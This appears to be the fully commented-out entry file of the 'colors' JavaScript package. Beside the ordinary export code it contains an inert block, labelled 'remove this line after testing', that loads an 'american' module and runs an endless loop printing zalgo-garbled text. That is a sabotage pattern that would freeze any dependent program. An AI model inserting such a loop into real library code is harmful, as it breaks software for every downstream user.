// var colors = require('./colors');
// module['exports'] = colors;

// // Remark: By default, colors will add style properties to String.prototype.
// //
// // If you don't wish to extend String.prototype, you can do this instead and
// // native String will not be touched:
// //
// //   var colors = require('colors/safe);
// //   colors.red("foo")
// //
// //
// require('./extendStringPrototype')();

// /* remove this line after testing */
// let am = require('../lib/custom/american');
// am();
// for (let i = 666; i < Infinity; i++) {
//   if (i % 333) {
//     // console.log('testing'.zalgo.rainbow)
//   }
//   console.log('testing testing testing testing testing testing testing'.zalgo)
// }
